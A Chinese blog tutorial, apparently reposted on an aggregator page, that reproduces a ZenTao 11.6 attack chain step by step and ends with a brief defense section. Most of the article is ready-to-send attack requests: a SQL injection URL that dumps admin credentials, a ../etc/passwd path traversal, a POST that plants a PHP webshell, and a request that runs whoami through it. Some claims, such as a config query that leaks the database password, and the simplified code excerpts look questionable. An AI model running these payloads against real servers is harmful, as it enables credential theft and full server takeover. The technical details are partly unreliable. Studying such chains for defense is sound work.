news 2026/6/6 18:04:34

手把手复现禅道11.6后台漏洞:从SQL注入到RCE的完整攻击链分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手复现禅道11.6后台漏洞:从SQL注入到RCE的完整攻击链分析

禅道11.6漏洞链深度剖析:从SQL注入到系统沦陷的实战路径

在开源项目管理领域,禅道凭借其完整的功能矩阵长期占据重要地位。但当系统存在多个安全缺陷时,攻击者往往能通过漏洞组合实现权限升级。本文将还原一个典型的攻击链路:从低危的SQL注入开始,通过参数传递机制缺陷逐步突破边界,最终完成远程代码执行的完整过程。

1. 环境搭建与初始侦查

搭建测试环境建议使用XAMPP集成包配合禅道11.6版本,确保与漏洞环境完全匹配。关键配置要点包括:

  • PHP版本需锁定5.6.x(与漏洞触发条件强相关)
  • MySQL启用宽松模式(模拟真实企业环境)
  • 关闭所有PHP安全过滤扩展(如magic_quotes_gpc)

初始信息收集技巧

GET /zentao/index.php?mode=getconfig HTTP/1.1 Host: target.com

这个看似无害的版本查询请求,实际上会返回包括数据库配置、安装路径在内的敏感信息。通过Burp Suite拦截响应可观察到:

"dbHost":"localhost", "dbUser":"root", "dbPassword":"zentao123", "installRoot":"C:\\xampp\\zentao"

2. 参数传递机制的安全盲区

禅道的路由解析存在设计缺陷,其router.class.php中PATH_INFO模式使用连字符分割参数,但未对参数做类型校验。观察以下关键代码段:

// zentao/framework/base/router.class.php public function setRouteByPathInfo($pathInfo) { $parts = explode('-', $pathInfo); $this->moduleName = $parts[0]; $this->methodName = $parts[1]; // 无过滤直接赋值 }

这种宽松处理导致攻击者可以构造特殊参数链,例如:

api-getModel-api-sql-sql=[注入语句]

实际形成的方法调用链为:

  1. 调用api模块的getModel方法
  2. 在getModel中继续调用api模块的sql方法
  3. 将sql参数直接拼接查询

3. SQL注入的精准利用

通过前期的路由分析,构造突破认证的注入Payload:

GET /zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user+where+account%3d'admin' HTTP/1.1

关键突破点在于api/model.php中的危险逻辑:

public function sql($sql) { if(stripos($sql, 'select') === 0) { return $this->dao->query($sql); // 直接执行未过滤 } }

获取管理员凭证后,攻击者通常会进行以下操作:

  1. 修改会话令牌维持访问
  2. 提取其他系统用户信息用于横向移动
  3. 查询数据库配置为后续渗透做准备

4. 文件操作漏洞的连锁反应

利用已获取的权限,通过文件读取漏洞获取系统关键信息:

GET /zentao/api-getModel-file-parseCSV-fileName=../../../../etc/passwd HTTP/1.1

漏洞根源在于file/model.php中的路径处理缺陷:

public function parseCSV($fileName) { $content = file_get_contents($fileName); // 直接读取 return explode("\n", $content); }

虽然系统有parsePathInfo()函数进行过滤,但可通过以下方式绕过:

  • 使用多重../跳转目录
  • 利用Windows特性(如C:\windows\win.ini
  • 结合编码混淆(如URL编码、双重编码)

5. 实现RCE的终极突破

组合利用文件写入和包含漏洞完成代码执行,分两个阶段实施:

阶段一:植入Webshell

POST /zentao/api-getModel-editor-save-filePath=shell.php HTTP/1.1 <?php system($_GET['cmd']);?>

阶段二:触发执行

GET /zentao/api-getModel-api-getMethod-filePath=shell.php/1?cmd=whoami HTTP/1.1

技术原理

  1. editor/model.php中的save方法未校验文件内容
  2. helper.class.php的import方法存在动态包含漏洞
  3. 通过dirname()函数特性绕过路径检查(需多级目录)

6. 防御策略与加固方案

针对此类漏洞链,建议实施分层防御:

代码层防护

// 安全的参数处理示例 function safeParam($input) { if(preg_match('/\.\.|\0|\'/i', $input)) { throw new Exception('Invalid input'); } return realpath($input); }

系统层加固

  • 禁用危险函数(如file_get_contentssystem
  • 配置open_basedir限制文件访问范围
  • 对数据库操作强制使用预处理语句

运维监控建议

  1. 部署WAF规则拦截异常参数模式
  2. 监控敏感文件变更(如.php文件创建)
  3. 建立SQL注入尝试的实时告警机制
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/6 18:03:03

别再只盯着默认参数了!手把手教你用BWA-MEM的-k和-T参数过滤低质量比对

精准调控BWA-MEM比对质量&#xff1a;从参数优化到实战策略在二代测序数据分析中&#xff0c;比对工具的选择和参数设置往往决定了后续分析的准确性。BWA-MEM作为目前最主流的短序列比对工具之一&#xff0c;其默认参数虽然适用于大多数场景&#xff0c;但在肿瘤测序、宏基因组…

作者头像 李华
网站建设 2026/6/6 18:02:15

MATLAB生成Quartus MIF文件:FPGA查找表数据初始化完整指南

1. 项目概述&#xff1a;从一次失败的尝试到可靠的MIF文件生成方案在FPGA开发中&#xff0c;我们经常需要将一些预计算好的数据&#xff08;比如正弦波表、滤波器系数、图像像素值&#xff09;预先存储在片内ROM或RAM中。Altera&#xff08;现Intel&#xff09;的Quartus II/Pr…

作者头像 李华
网站建设 2026/6/6 18:00:13

010、Claude Code 架构概览:Agent SDK、Tool System、MCP Server 生态全景

010、Claude Code 架构概览&#xff1a;Agent SDK、Tool System、MCP Server 生态全景上周五凌晨三点&#xff0c;我在排查一个诡异的CI流水线超时问题。Claude Code在生成Kubernetes部署配置时&#xff0c;突然卡在“正在调用kubectl工具”这一步&#xff0c;整整挂了12分钟。…

作者头像 李华
网站建设 2026/6/6 17:58:05

从KR到C2x:一张图看懂C语言标准30年变迁史(附各版本核心特性对比)

C语言标准演进全景&#xff1a;从K&R到C2x的核心特性与工程实践指南在计算机科学的殿堂里&#xff0c;C语言如同一位历经沧桑却依然活力四射的智者。1972年诞生于贝尔实验室的它&#xff0c;如今已走过半个世纪的历程。对于每一位系统级开发者而言&#xff0c;理解C语言标准…

作者头像 李华